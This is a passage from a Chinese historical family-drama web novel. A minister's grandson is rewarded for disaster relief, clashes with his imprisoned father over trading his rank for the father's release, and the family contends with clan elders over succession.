沈砚修随太子进宫向圣上详细禀报山城赈灾及九曲河决堤情况。
父亲孟正德身为右相,分管户部和工部,再加上暗管刑部,不可避免地被圣上留在宫中,同样听其汇报。
次子沈砚珩因为着急见长兄,亲自驾了马车说要在宫门口等着。
爱凑热闹、也想见长兄的沈朝昭自然不会放过这个机会,缠着沈砚珩跟了去。
孟南枝独自坐在厅堂内,闭眼小寐。
“夫人,您要不先歇息一会儿,等老爷和世子他们回来奴婢再唤您。”
天气渐凉,月芹为她披上风衣,又在她腿上搭了件兔绒毯子。
孟南枝微微睁开眼,轻摇了摇头,声音带着几分慵懒与温柔。
“不必了,我等着砚修回来。”
月芹见劝不动,只好退到一旁,安静地守着。
厅堂内静谧无声,唯有烛火偶尔发出轻
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微的噼啪声,映照着孟南枝沉静中带着温婉的侧脸,勾勒出一层柔暖的金边。
鬓边垂落的几缕青丝,被光映得泛着浅棕的柔光,随着微风轻轻拂过耳畔,又透着不可言明的雅致。
时间缓缓流逝,夜色渐深。
终于,门外传来了一阵急促的脚步声,紧接着是观棋故意提高的声音。
“夫人,老爷和世子回来了!”
孟南枝猛地睁开眼,目光瞬间锁定在门口。
父亲孟正德沉稳有度地踏步而入,面带笑意地对她微微颔首。
长子沈砚修被次子砚砚修和女儿沈朝昭左右架着胳膊,一瘸一拐地走进来。
他面色虽有疲惫,清透的眸子里却带着亮光,“母亲,孩儿回来了。”
说到尾处,他双眼微潮,连嗓音都带了几分嘶哑。
孟南枝心中一紧,连忙抽开兔绒毯子起身迎了上去,双手轻轻扶住他的胳膊,眼中满是关切与疼爱。
“回来就好,你随太子出行辛苦了。”
沈砚修摇头,“母亲,我不辛苦,您和外祖父在京都才辛苦了。”
他在回来路上,已经听弟弟和妹妹简要地说了这些时日所发生的事情。
母亲和外祖父虽未离京,但做的事情却并不比太子和屠戎将军少。
孟南枝目光扫过观棋拿着的拐杖,扶着沈砚修坐下,对月芹轻声吩咐:“去叫太医来。”
沈砚修闻言连忙制止,“母亲,我没事,已经快好了,不用叫太医。”
“好了还能瘸着?”
孟南枝轻睨了他一眼,对月芹点头示意她只管去请。
沈朝昭在旁边帮腔,“大哥,你都走不成了,还不让太医看看啊。”
沈砚珩对兄长轻轻挑眉:都伤着这样了,还不听母亲的?
沈砚修讪讪一笑,“快好了。”
知道母亲不亲眼看到太医为他诊治必然不放心,也就坐下任她安排。
孟正德看到他们母子(女)四人相处如此温馨和谐的画面,眸中全是笑意。
太医很快被月芹请来。
经诊治,是骨折,而且已经快要痊愈。
孟南枝这才放下心来。
第231章 长子受嘉奖
摆宴时,餐桌上多为长子沈砚修喜好的菜肴。
翡翠虾球、珊瑚珍珠贝、麒麟鲈鱼、玉兰片炒鸡丝等,每一样都精致诱人,散发着令人垂涎的香气。
在山城吃惯了干粮的沈砚修,猛一下见到这么多山珍海味,还有一些不适应。
眉眼间都是对珍惜粮食的虔诚,每一口菜,都要在嘴里多嚼十几下,品味够了才会咽下。
孟南枝见他这般模样,与父亲孟正德互视一眼,眸中皆是笑意。
她的长子,经赈灾一行,是真的长大了。
宴罢,因天色太晚,且已经过了一更。
孟南枝便叮嘱长子他们早点休息,有事第二日再谈。
回到阁楼休息时,孟南枝目光略过东邻隔壁漆黑寂静的院子,眸色微闪。
……
深夜,棒子敲过二更。
谢归舟方从皇宫出来。
他未曾换衣,还是那身玄色劲装,外穿墨色织金软甲,发间沾了夜露,眉目之间皆是从容和坚定。
同样穿着软甲的钱飞牵着马匹走到他跟前,他却没有上马,只缓步上前走着。
钱飞没有发话,只沉默地跟着。
直到两人一前一后地走到孟府门外。
谢归舟抬目看了眼那处已经灭了灯的阁楼,未作停留,又提步离开。
……
翌日。
刚过辰时,孟府门外就响起三声清脆的净鞭。
内侍李贵亲自带着两名小太监,手持明黄色圣旨进了孟府府院。
孟南枝因着昨日父亲的提醒,早早便带着三名子女还有丫鬟下人在府内等着。
李贵对孟南枝轻笑着微微点头,而后才清着嗓子,朗声道:“孟相长外孙沈砚修接旨。”
沈砚修柱着拐杖便想上前跪下,却被李贵暗示小太监将他扶起来,低声说道:“圣上你双腿有伤,可不用跪着接旨。”
这可是无上圣宠。
他这般说,沈砚修却不敢这么做,在沈砚珩的搀扶下依旧跪了下来。
李贵见状,满意地点了点头。
心道:这孟相的长外孙果真是个行事规矩的。
见众人都已跪下,他便打开圣旨,朗读道:“奉天承运圣上,诏曰:沈砚珩随太子往山城赈灾,不辞辛劳,亲赴灾区安抚百姓,督办粮款,条理分明,功绩卓著。”
“其心赤诚,其行可嘉,特赏黄金百两,锦缎五十匹……并晋封从五品奉议郎……望其再接再厉,效忠社稷,不负朕望。钦此!”
李贵念完,便双手将圣旨递过去。
沈砚珩在沈砚珩的搀扶下,双目激动地恭敬接过圣旨,高高举过头顶,“臣谢陛下隆恩,吾皇万岁万岁万万岁!”
孟府所有人高呼,“吾皇万岁万岁万万岁!”
尤其是沈朝昭的呼声最高。
她大哥,才十六岁,就被圣上亲封为五品奉议郎。
这是她以前想都不敢想的事。
将下人谴去后,孟南枝难掩欣慰与骄傲地亲自为李贵送上赏银和茶水。
李贵接过赏银,脸上露出和煦的微笑,“恭喜夫人,恭喜沈世子。”
他服侍在圣上身侧,深知圣上对孟相还有眼前孟南枝的看重。
沈砚珩除了他自己本身没有掉链子,最主要的原因还在于眼前人。
人们常说机会是留给有准备的人。
可这人呐,有本事、有准备是一回事,拿不拿得到机会又是一回事。
李贵没有在孟府久留,喝了一盏茶就带着两个小太监回宫复命去了。
“母亲,母亲。”
沈砚修再也难掩眼中的激动,将手中圣旨翻看了两遍,才递给孟南枝。
孟南枝眸中全是温和的笑意,“好孩子,做得不错,这是你应得的。”
“谢谢母亲。”
沈砚修躬身对孟南枝重重地行了一礼,低垂着的眼角划下一抹水渍,滴落在青石地板上。
若不是母亲,他此刻可能还是名声恶劣的纨绔子弟。
像黄营东一样到处惹事,还会被关进牢狱里。
沈砚珩见到兄长这般模样,别开脸不动声色地擦了擦眼角。
兄长的心情,他太懂了。
沈朝昭也红了眼眶,抿着嘴巴,上前走了两步。
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她大哥走到现在,真的很不容易。
孟南枝双眼微潮地抬手将长子扶起来,“傻孩子,跟母亲何至于这么客气。”
沈砚修消瘦的脸庞扯出笑意,“是,母亲。”
母子(女)之间,相互一笑,彼此情谊皆在不言中。
……
几日不见的沈二叔再临孟府,除了沈旻,这次随行的还是有子弯的几乎直不起来的沈老族长。
父亲孟正德去上朝堂,孟南枝便带着三个子女亲自接待。
面对沈老族长,孟南枝保持该有的敬意,让长子沈砚修亲自为他奉了茶。
沈老族长有些昏花的双眼看着脱去稚气的沈砚修,握住他的手万分感慨。
“想我上次见世子,还是在他束发时,这才一年不见,竟是变化这么大。世子这次随太子去山城赈灾,着实辛苦了。”
想他上次见沈砚修,他还是个有着喜欢虐杀通房名声的纨绔子弟。
哪想这才过一年,准确地说,才过几个月,竟然成了能随太子一起出行赈灾的稳重少年。
他们沈家,虽为侯爵,但确实已经多年不曾真正出过能担大任的子弟了。
沈砚修柱着拐杖,任他握住手,谦逊地笑着回道:“老族长谬赞了,砚修不过是做了些力所能及之事。且此次赈灾,多亏太子英明领导,还有诸多将士与官员齐心协力,方能顺利完成,砚修不敢居功。”
沈老族长听他这般谦逊之语,愈发觉得他蜕变得稳重可靠,不住点头称赞。
孟南枝坐在主位,看了眼从进来后,便一直垂着头没有与她对视过的沈二叔,眉锋微微蹙起。
她将手中茶盏放下,面色平静地温和问道:“老族长,您今日前来,可是有什么重要的事情?”
沈老族长这才回过神来,微微正了正身子,说道:“南枝,老夫此次前来,一是想看看世子,二是也是有件事想恳请孟相帮下忙。”
孟南枝微微颔首,“老族长但说无妨。”
沈老族长沉吟片刻,缓缓开口,“老夫想向孟相要份手谕,去探望一下侯爷。”
第232章 该她子女的利益,她必会争取
孟南枝没有立刻答应。
她指尖轻扣桌案,缓缓说道:“老族长,我听闻沈家最近通知所有旁支负责人来京都沈家宗祠议事,不知此事可真?”
沈老族长深知此事不可能瞒着孟南枝,便点头说道:“确有此事。”
“为什么我儿没有收到通知?”
孟南枝语气温和地看不出任何不满。
沈老族长看了眼旁侧的沈砚修,解释道:“世子此前未在京中,所以老夫这才没有及时通知。”
孟南枝面上笑意不达眼底,“老族长,即便砚修不在京都,砚珩也在京都,长兄不在,砚珩作为沈家嫡系可直接代替长兄议事,这礼制您不会忘了吧?”
老族长的一张老脸看不出任何讪意,他垂着眸子道:“此事确实是老夫考虑欠妥,老夫在此向世子和二公子赔个不是。”
孟南枝不置可否。
她今日提了他才如此说。
她若不提,怕是那几个旁支赶到京都,事情议完了,沈砚修和沈砚珩也依旧得不到通知。
这件事,说到底还是他们从根本上就想避着她的三个子女。
而且看沈二叔的样子,怕不是中间又起了什么变故。
她与沈卿知和离是她的事,不该因此就剥了子女在沈家的议事权。
而且沈家的爵位原则上来说是她长子沈砚修的,沈砚修可以不要,但他们却不能不给,宗族议事更不能避着沈砚修。
该属于她子女的利益,她一定会去争取。
指尖微微蜷起,孟南枝决定明着把话说开:“老族长,此前沈二叔曾提醒于我,即使我与镇北侯和离,砚修他们依旧是沈家的孩子。”
“砚修是镇北侯世子,砚珩是镇北侯府二公子,朝昭是镇北侯府唯一的千金,这件事我可以谨记,但我希望你们也能够谨记。”
沈老族长闻言斜睨了沈二叔一眼。
沈二叔面色一讪,这话确实是他提的。
但他那时是为了牵扯住孟南枝,想让两家利益捆绑在一起。
可他哪里想到如今会被孟南枝反过来用此话压制于老族长。
为不拨老族长的面子,沈二叔只得适当地打起圆场,“南枝,这件事确实是我们的疏忽,既然修儿也已经从山城回来了,这宗族议事必然少不了他。”
孟南枝轻轻瞥了他一眼,未答话。
沈二叔的话语权比重不够,她要的是老族长的态度。
思此,她抬起玉手轻轻拨弄桌案上尚未收走的圣旨。
沈二叔目光落在她手边那抹明黄上,眸色微僵,陪了笑脸道:“这是……”
他们来得不够凑巧,刚好错过沈砚修被嘉奖一事。
早就听不下去的沈朝昭下巴微抬,傲娇地说道:“我长兄刚被圣上嘉奖,封从五品奉议郎。”
沈二叔震惊,“这……,南枝,我能看看吗?”
他们知道沈砚修随太子此行,回京后必然会受到圣上赏赐。
但他却没想到竟然会直接封从五品,虽然没有实职,但官级高啊。
要知道一般侯爵子嗣初为官时,都是从七品开始的。
孟南枝本就是想用圣旨压他,自然不会拒绝他这想法,抬手让沈砚珩亲自递于他。
沈二叔小心翼翼地接过圣旨,打开后细读里面的内容,他越读越激动。
“从五品奉议郎,当真是五品奉议郎。”
“老族长。”
他转过头想捧给老族长看,却发现老族长早就从椅子上站了起来,歪着头,正努力地瞪着他那双老花的眼睛,一眨不眨地看着圣旨。
就连被人忽略的沈旻也站在他身后,伸长了脖子往前看着。
沈老族长看完后,方才扶着椅子上的把柄坐下来,眉头紧锁着陷入沉思。
片刻后,他才沉声开口,态度也虔诚了许多:“南枝所言极是,砚修他总归是我们沈家的世子,这一点毋庸置疑。老夫之前考虑不周,还望世子、砚珩莫要往心里去。”
“所幸有几个旁支路途遥远,还未赶到京都,老夫会将此次议事再往后拖两日,届时让世子和砚珩一同参与,共商家族大事。”
孟南枝听罢,这才微微颔首,面上露出几分满意之色,示意沈砚珩为他添茶。
“老族长,手谕之事,待我父亲回来,我
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会让世子亲自给您送去。”
该争的利益要争,该给的脸面也要给。
若想让长子的路走得更远,以后沈家旁支还少不了老族长在背后操劳。
沈老族长得了孟南枝的准话,脸上笑容轻松不少,连忙在沈二叔的搀扶下起了身。
“即如此,就有劳世子跑一趟,老夫不多叨扰,先行告辞了。”
孟南枝带着三个子女亲自将他们送出府。
临别时,沈砚珩在母亲隐晦的示意下,走到沈旻面前,笑道:“旻哥,我许久未见二祖母了,她身子可好?”
沈旻立刻会意,面露愁容道:“我祖母一直也念叨着你们,说想来看看你们呢。只是她这几日身子略乏,不便出门,这才未能登门拜访。”
他为人精明,处事圆滑,一眼就看出沈砚珩是想同他祖母打探消息。
便顺着他随口说出个由头,好让他前去。
沈砚珩眸间生笑,面露关切,“既然二祖母身子不适,我与妹妹便随你一同去看望她老人家吧。”
沈旻没有拒绝,静等他吩咐观棋牵马车。
孟南枝见状对月芹微微颔首,示意她去准备薄礼让次子他们带上。
目送次子和女儿跟随他们离开后,孟南枝方才转身扶着沈砚修一起走回庭院。
“修儿,走慢些。”
孟南枝语气温软,步伐放得极慢。
“好的,母亲。”
虽然他的腿伤已经快好,完全感受不到疼痛,但对于母亲的关爱,沈砚修却不忍心拒绝。
沈砚珩与沈朝昭在沈二婶宅院并没有多作停留,很快就返还孟府。
两人疾步匆匆地走进厅堂,还不待坐下,沈砚珩便皱着眉头道:“母亲,您猜得没错,老族长他们确实有事瞒着。”
孟南枝温和地让他先坐下来喝杯水润润嗓子,再细说。
沈砚珩还算稳重,可沈朝昭根本就坐不住。
她娇嫩的小脸上带着不满,连如黛的柳眉都气出了几分红晕。
“母亲,怪不得老族长一开始没说让二哥去代大哥参加宗族议事呢。”
“原来是沈砚齐回来了。”
第233章 用功劳换为父出去
沈砚齐,乃是沈卿知嫡兄的儿子。
比沈砚修年长四岁,如今刚好是弱冠之年。
当年沈老侯爷一共生了三个儿子,嫡子沈卿和、庶二子沈卿文,以及庶三子沈卿知。
嫡子沈卿和十八岁那年因骑马摔伤成为坡脚后,开始自怨自艾,情绪阴晴不定,看谁都觉得对方在嘲笑他。
庶二子沈卿文偏偏是个吊儿郎当,只会玩闹、没个正形的,有一日在院中和书童学沈卿和坡脚走路。
结果被难得出门的沈卿和看个正着,他气血上头直接命随从把沈卿文也打成了坡脚。
纵使有沈老夫人求情,沈老侯爷也发了脾气,认为沈卿和毫无胸襟,难当大任,将他关了半年的禁闭。
为了沈府长远着想,沈老侯爷决定将相对稳重的沈卿知记作嫡子,先培养一段时间看看。
沈卿和从此对沈卿知心生怨恨,觉得是他会抢走属于自己的世子之位,平日里总是想方设法地给沈卿知使绊子。
沈卿知深知嫡子之位得来不易,对沈卿和处处谦让,反倒更得沈老侯爷的欢喜。
直到沈卿知娶了孟南枝,借着孟太傅的势拿下世子之位,沈卿和竟然发疯地想要毒杀沈卿知。
被孟南枝发现并揭穿后,沈老侯爷在当时还是三祖叔现任老族长的求情下,留他一命,将沈卿和一家派遣到河州,自生自养。
孟南枝记得当年沈卿和离开京都时,沈砚齐才不过五岁,模样随了他父亲,眉眼之间总带着阴郁。
沈朝昭还在气恼,“母亲,自您溺水后,您是不知道这沈砚齐有多气人,他每年都要进一次京,回一趟侯府。”
“穿着锦衣玉袍,戴着名贵佩饰,还偏偏哭穷说他们在河州过得不好,让父亲不得不给他拨出大量银两、布匹和香料。”
“明明其他的旁支,都是向侯府交贡的,偏偏他们,就跟侯府欠着他们似的。关键他还自持身份高人一等,在长兄面前总是摆谱,让长兄敬着他。”
沈朝昭越说越气,到最后竟是坐下来,恼得拍起了桌子。
孟南枝闻言看向长子沈砚修。
历经山城赈灾之行的沈砚修已经学会如何掩饰自己的情绪,他面色平静地对孟南枝浅笑着补充。
“母亲,您未归前,也就是前两个月,我曾听父亲提及叔伯从河州寄信来,让父亲为沈砚齐谋个官职。”
孟南枝微微颔首,未作声。
沈砚齐即已弱冠,按律是该靠宗族为他谋个官职。
可依沈卿知对沈卿和的忌讳,宁可多出些银钱把沈砚齐打发走,也不想他在沈府久留,想是容不得沈砚齐赴京为官的。
可现在沈卿知偏偏身在天牢,不可能为他谋官,老族长又召集各地旁支赴京议事。
沈砚齐却赶在这个节骨眼回京,怕不是生了什么想法。
毕竟,在沈老侯爷的安排里,这个旁支并不包含沈砚齐这一支。
因为他与沈砚修、沈砚珩,可是同属嫡系。
想到这里,孟南枝唇角生了笑。
诸事赶到一起,还真是巧。
“母亲,要不要安排人盯着他。”沈砚珩眼里闪过一丝阴霾。
他本就对沈砚齐不喜,眼下知道老族长因为沈砚齐竟然想撇开兄长参与宗族议事,对他更是心存顾忌。
孟南枝没有拒绝次子的建议,“好,这件事你来安排吧。”
转头,她又看向长子,“修儿,你怎么看?”
沈砚修略微沉思后,说道:“母亲,我想随老族长一起去探望父亲,然后搬回镇北侯府住。”
少年的眼中没有恳求,只是平静的叙述。
他已经长大了,不可能让母亲一直牵着走。
而且路已经铺好,该他自己独立行走了。
沈砚齐最多算是他爬向高山的一道障碍,不管出什么招,用力跃过去便是。
孟南枝看着已经逐渐显露出沉稳的长子,欣慰地点头,“好。”
沈砚珩与沈朝昭对视一眼,都没接话。
长兄是真的长大成熟了,他们也要努力不拖后腿才行。
……
自那日叫嚣着想见孟相、想见孟南枝、想见子女,侍卫并不搭理他后,沈卿知已经彻底陷入自闭。
才没换两日的崭新衣服被他搓得满身皱褶,连头发也揉成了鸡窝。
嘴里啃着的干硬馒头“咯吱”作响,沈卿知有一
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瞬间觉得自己就像角落里那讨人厌的老鼠,当下便发疯似的把那馒头扔到墙角。
他后悔了,这天牢他是一刻都待不下去了。
他用力踢了下牢门,结果疼得腿都站不稳,直接平躺在地上,看着黑黢黢的牢顶,瞪着双眼陷入迷失状态。
外面传来脚步声,沈卿知以为又是送干馒头的,就没动。
直到牢门被打开,传来沈二叔的惊呼声,他才惊得一下子坐起来。
“卿知,你怎么成这个样子了?”
没见过他如此凄惨模样的沈二叔,一阵唏嘘。
沈老族长也看不下去的瞪大了两只花眼。
进来前将拐杖交给观棋看着的沈砚修眸里闪过一丝不忍,却又很快恢复平静。
“族长,二叔。”
沈卿知激动地想要站起来,结果双脚发软,又差点摔了一个狗啃泥,还是在沈砚修的搀扶下才勉强稳住。
他看到沈砚修情绪更加激动,满脸慈爱与关心,“修儿,你从山城回来了?”
沈砚修微微点头,将他扶稳后,就收回手往后退了一步,不想与他过于亲近。
沈卿知并未察觉他的排斥,反而上前一步,与他更加亲昵。
“修儿,你可是刚回来就来探望为父?你这次随太子去山城赈灾,圣上对你可有进行嘉奖?”
沈二叔看出沈砚修的排斥,也知道他双腿有伤,不便过多拉扯,轻咳一声,开口道:“卿知,世子他这次随太子赈灾,被圣上封为从五品奉议郎。”
“当真?”
沈卿知闻言红了眼睛,情绪激动得几乎站不稳,要知道他努力了这么久,也才是从五品。
而他这个长子,才十六,只是随太子去赈了一次灾,官级竟然就和他一样了。
虽然没有实职,但这依旧是天大的恩宠。
想到这里,他又上前一步,双手用力地抓住沈砚修的胳膊,赤红的眸子里带着疯狂。
“修儿,为父没有劫狱,筝筝被劫一事,为父也并不知情。你既然能被圣上封从五品奉议郎,想必是在山城立了大功。”
“你能不能同圣上讨请不要官职,用这份功劳换取为父出去。”
第234章 你竟敢如此逼我
牢内仅有一点光,刚好打在沈砚修的脸上,刺得他眼角生疼。
“父亲,您的意思是让我用官职换您出牢?”
他声音发紧,连指尖都攥得发白。
沈卿知点头,耐心劝导,“没错,修儿,你刚立功,此时向圣上讨请,圣上不仅不会否决,还会赞赏你孝心可佳。”
沈砚修看着他眼里的疯狂,指尖狠狠陷入掌心。
过往种种浮现眼前,只觉遍体寒意。
他在山城所受的苦他一概不问,见面连句关心之词都不愿意说,却想让他用官职换他出去。
沈砚修深吸一口气,尽量让自己的语气显得平和,“父亲,您还是保重自身为好。”
沈卿知闻言,脸上的慈爱与关心瞬间消失无踪,取而代之的是难以掩饰的愤怒,“你不愿意?为什么?我可是你父亲!”
沈砚修眼帘垂下来,“父亲,您若真的清白,只需等审查结果便是,何需我用官职去换?”
“逆子!”
沈卿知一巴掌打在他的脸上,“才离京几天你翅膀便硬了不是,连为父的话也不听。为父在天牢受苦,你竟只关心自己的前程,不顾为父的死活。难道在你的心里,为父还比不上你的官职?”
沈砚修左脸瞬间起了五道指印。
他眼神微眯,舌尖顶住左腮,往地上吐出一口血水。
再抬首时,唇角带着颤意的上翘,轻轻道出一个字:“是。”
比不上。
“你!”
沈卿知又扬起巴掌想要扇过去,被眼尖手快的沈二叔拦下。
沈老族长的手杖也跟着敲在了他身上。
“你,糊涂!那可是从五品。”
不怪他刚才没拦着,而是他也被沈卿知的言论惊着了。
放眼整个大衍,有哪个世家子弟还未弱冠就能获得如此官级。
多少仕子拼搏一辈子,止步于科举。
别人求都求不来的官级,怎么可以推出去。
被沈二叔拦下的沈卿知不觉得自己的想法有问题,他双目含血地瞪向沈砚修。
“族长,你瞧瞧这个逆子,眼里完全没有我这个父亲。功劳可以再赚,可他父亲却只有一个。身为人子,理当为父分忧。”
“再说我被关在天牢,对沈家有损无益。您和二叔前来看我,难道不就是在想法保我出去?”
沈卿知的理所当然,让沈老族长气得胡子直颤,握着手杖的手都在发抖,“你,你,你被关天牢,我们自是想保你出去,可这也不该让砚修拿官职去换。”
“除了这样,你们能有什么办法?”沈卿知双目腥红,“我身为镇北侯,沈府一家之主,若一直被困于此,沈家在这朝堂之上便如无根浮萍,随时可能被风雨摧折。”
“他若愿意用这从五品之职换我出去,于沈家而言,只会是一件好事。况且他与太子有共事之情,又有外祖父孟相为靠山,以后有的是机会去积累功勋。”
“而我,若不能及时脱身,恐会牵连整个沈家,到时候,莫说这从五品之职,便是整个沈家的荣华富贵,都可能化为泡影。族长,您难道真的要看着沈家因此而衰败吗?”
“你,你。”
沈老族长看着陷入疯狂的沈卿知,只觉得一阵悲凉涌上心头。
他深知沈卿知所言并非全无道理,可让沈砚修以从五品之职去换他出来,这代价实在太大。
“父亲。”
沈砚修抬手抹了下嘴角的血渍,失了少年气的声音中带着冷意,“您既然知道会牵连整个沈家,可自请脱离沈家。”
“你,你,你!”
沈卿知双目瞪圆,手指着沈砚修气得说不出来话。
沈砚修眸中闪过自嘲,“父亲,您既然说我有与太子共事之情,又有外祖父撑腰,是不是证明我的未来将比您更有作为?”
“既然如此,您何不主动退位将家主之位贤让于我,如此一来,既能避免沈家因您而受牵连,又能让我带领沈家走向更辉煌的未来,岂不是两全其美?”
沈卿知闻言,胸腔如堵了团棉花一样喘不过来气。
他用尽全身力气挣开沈二叔的束缚,指着沈砚修的鼻子骂道:“逆子!反了天了你!忤逆为父不说,竟然还想逼我退位!来人,本侯要面圣,剥了你这逆子的世子爵位。”
门外守着的侍卫无人作声。
沈砚修鼻间发出冷哼,任他叫嚣。
他回来这两日,已
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经从弟弟妹妹口中知道母亲和沈二叔提及让父亲从沈家族谱剥离一事。
沈砚修深知母亲所做一切都是为了他,但提及这件事情的后果,不仅会引起父亲的忌恨,林婉柔的报复,还会让整个沈家都觉得母亲狠毒。
他不想让母亲独自去承担这份骂名,所以才在父亲面前特意提及此事。
身在其位,当谋其事。
这是他在跟随太子和屠戎将军山城赈灾时学到的。
他不会再让母亲因他受委屈,也容不得别人辱他母亲一句。
思此,沈砚修目光平静地看向沈卿知,缓缓开口:“父亲,您若真要面圣,那便去吧。只是您可要好好想一想,剥了我的世子爵位,对您和沈家又有何益处?”
言罢,他便一甩袖子,出了牢门。
“逆子,你给我滚回来!”
沈卿知气得想要追出去继续骂他,却被守门的侍卫拦下。
他扭过头气愤地对着沈老族长和沈二叔说道:“族长,二叔,你们也看到了,这个逆子眼里哪有我这个父亲,我还没死呢,竟然就想逼我让出家主之位!”
他说完之后,才发现牢内静悄悄的,根本没人回他。
抬头看见沈老族长和沈二叔两人一言难尽的模样,心口一突,“族长,二叔,你们……”
不会听信了沈砚修的话吧。
柱着手杖的沈老族长陷入沉默。
沈二叔欲言又止,最终化作一声叹息。
“卿知啊,你身为镇北侯,本应为沈家遮风挡雨。可如今你三番两次决策失误,娶平妻收继女,落得被圣上打入天牢的地步,族中旁支对你是多有怨言啊。”
沈卿知闻言身形一晃,险些跌倒在地。
“族长,二叔,你们难道真要听信那个逆子的言辞逼我退位?我这些年所做的哪一件事不是为了沈家?”
“当初娶婉柔那可是太后的懿旨,婉柔入沈府后,何尝没有帮着沈家子嗣谋过好处。老族长,你别忘了,你堂孙那沛县的七品官职,便是靠着林大人谋来的。”
“再说,收筝筝为继女本侯又何尝没有征求过你们的意见,你们也都是同意的,为什么现在全都怪在本侯身上?”
第235章 他们沈家,赌不起
生出怒意的沈老族长重重地柱了下手杖,眼皮耷拉下来。
“侯爷,我与你二叔特地向孟相求了手谕来看你,本是想问问你是否真的对陆筝筝一案不知情,好想办法保你出来。可你……在太让人失望。”
说到这里,沈老族长摇了摇头,“有一点,砚修说的没有错,你若清白,何需他用官职来换你出去。”
他一直拖着没早点召开宗祠议事,又何尝不是期待案件查清,沈卿知完全清白不会落罪。
可今日的探监,彻底让他灭了沈卿知不知情的念头。
圣上把他押入天牢,真是押得不冤。
他们沈家,赌不起。
沈卿知听闻,脸色一阵青白,“我……我对筝筝被劫一事确实不知情。”
可沈老族长却再也不信,“我已经通知各地旁支到宗祠议事,时间就定在明日,若是你能到场,还是你当家,若是不能到场,那以后……”
剩下的话,沈老族长没明说沈卿知也明白,他若是去不了,这沈家怕是真想撇开他,剥了他的家主之位。
可他身在天牢如何能去?
难道真要他向圣上举报奕王和林婉柔。
一他没有证据,二他只怕死得更彻底。
这件事不管从哪边算,都无解。
话已挑明,沈老族长便在沈二叔的搀扶下,桩着手杖弯着背走了。
牢门再上锁上。
沈卿知颓废地瘫坐在地上,眼神中满是慌乱与不甘。
凭什么?
明明自己所做的每一件事都经过深思熟虑,踏出的每一步都小心翼翼。
为什么还会落到如此地步?
沈老族长走出天牢时,沈砚修已经从观棋手中接过拐杖,看守天牢的都尉正客气恭敬地同他低声说着话。
阳光打在他俊朗的侧脸,映出几分坚毅与果绝。
沈老族长心中万分感慨,不知沈砚修在山城赈灾时,到底经历了什么,变化竟然如此之大。
从一个稚嫩、冲动的手年,成长为如今成熟、稳重的样子。
在刚才与沈卿知之间的对峙中,也并不落下风。
沈二叔同样看着沈砚修,压低了声音,道:“族长,世子说的不无道理。砚齐他总归……”
沈老族长目光落在沈砚修虽显成熟,但还多少带点稚嫩的脸上,缓缓说道:“一切,等宗祠议事之后再说。”
能压得住旁支,才算真的有本事。
为了沈家的长远,他不会轻易做出决定。
沈砚修凭借山城赈灾是得了圣恩,可这朝堂与家族之事,远非表面那般简单。
他若真能在宗祠议事时,凭借自身能力让旁支心服口服,那将家主之位交于他,未尝不是件好事。
可若他只是逞一时之勇,无法应对各方压力,那沈家恐会陷入更深的危机。
……
沈砚修随沈老族长去探望沈卿知时,孟南枝也没闲着。
既然官府确认陆筝筝已经逃出了京都,沈砚珩便没再拘着沈朝昭不再出去。
所以她软磨硬泡地拉着孟南枝,一同前往慈幼堂去看那些孤女手艺学得怎么样。
相较于上次来,慈幼堂的变化很大。
带有尘土的青石板被清扫得干干净净,墙角还载住了数朵盛开的金菊。
原本破旧的房屋被修缮一新,阳光透过雕花窗棂,洒下细碎的金斑。
院子里静悄悄的,只听到屋内针线穿过绸缎的“沙沙”声,时不时夹杂着嬷嬷指导她们刺绣的轻声细语。
“轻一点,这样挑过来。”
“对,就是这样,注意要换线。”
孟南枝与沈朝昭轻步走进去,目光扫过安静专注刺绣的少女。
她们全都换上了崭新的青布衣裙,头发也梳得干干净净,用木簪挽起。
有的正凝神描样,笔尖在素白绢布上细细勾勒;有的则飞针走线,银针在手中翻舞;还有手笨的,绣得奇丑,但学得认真。
看到孟南枝,教导嬷嬷连忙笑盈盈地迎了上来,“孟夫人,您来了。”
那些孤女们也都纷纷停下手中的活计,将沈朝昭围了起来,面上带着感激。
“沈姑娘,您可算来了,有几日没见你了。”
“沈姑娘,您看看我绣的这个帕子,嬷嬷
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说可以拿去卖了,但我想送给您,您可千万别嫌弃。”
“还有我,我绣得不是特别好,但这是我绣的第一方帕子,我也想把它送给沈姑娘。”
她们深知她们能有如今这般安稳且能学手艺的日子,全靠沈姑娘和陈姑娘的帮扶。
若不是她们出资修缮这慈幼堂,又请来教导嬷嬷教她们刺绣,她们未来还不知道过着什么看不见光的日子。
沈朝昭被她们围着,一向傲娇的神色变得非常的柔和。
“这个好,这个也好,你们绣得真好,我都收着。”
孟南枝看着她们将女儿围起来,对女儿真心感激的模样,心中满是欣慰退到了门外。
这是女儿的主场。
从慈幼堂出来时,沈朝昭怀里揣了七八条手帕。
“母亲,瞧瞧,这些都是她们绣的,已经有两条可以拿出去卖了,她们能养活自己了。”
少女的眼中满是兴奋、骄傲和激动,亮晶晶的能穿透人的心灵。
孟南枝翻看着那些手帕,细摸上面的绣花,肯定地点头,“确实绣得不错。”
教了这么多,哪怕只有一人可以自生,都值得庆祝。
“母亲,我很高兴。”
沈朝昭突然搂住孟南枝的脖子,扑在她怀里,再一次低喃,“母亲,我真的很高兴。”
比她自己第一次学绣帕子时,还高兴。
衣襟有些发热,孟南枝环抱住她,轻拍她的后背,语气轻柔,“母亲和你一样高兴。”
女儿的健康成长,每一次不同于巨幕中的改变,都值得她高兴。
静趴了一会儿,沈朝昭松开母亲的怀抱,有些不好意思地擦了擦眼角。
“母亲,我们回去吧。”
“好。”孟南枝替她理顺耳边的发髻,轻声应道。
母女坐上马车,碾过青石板,发出“吱扭、吱扭”的声响。
路经东街时,被人拦了去路。
“南枝,许久不见,可否一叙?”
孟南枝掀开车帘,一张与林婉柔有五分相似的脸映入眼前,眸中不禁生出不达眼底的笑意。
“可以。”
第236章 婉柔她输得不冤
拦车的人是林婉柔的母亲,林祁氏。
她身着深紫色暗纹绫罗短褙,襟前锁着赤金镶珍珠的领扣,领口滚着暗红织金窄边。鬓角半白,梳在脑后挽成别雅的圆髻,斜插一枝雕着松鹤纹的素面玉簪。
生了皱纹的面容轻施粉黛,却难掩愁容与倦色。眸色自带温婉,浅笑起来,比林婉柔多了几分如潭般的沉静。
街市不便交流,两人也都没有去茶楼深坐的想法,便一路闲散地在空静的河岸走着。
“按说你回来后我该亲自上门探访,但我知你必然不喜见我,所以也就没有贸然前往。今日特地在此等你,也是想代婉柔和你赔个不是。”
林祁氏率先打开了话题,她语气轻柔,带着几分历经世事的沉稳与淡然。
离得近了,孟南枝才闻到她身上有着一股极淡的药香,却被稍浓的檀香压下。
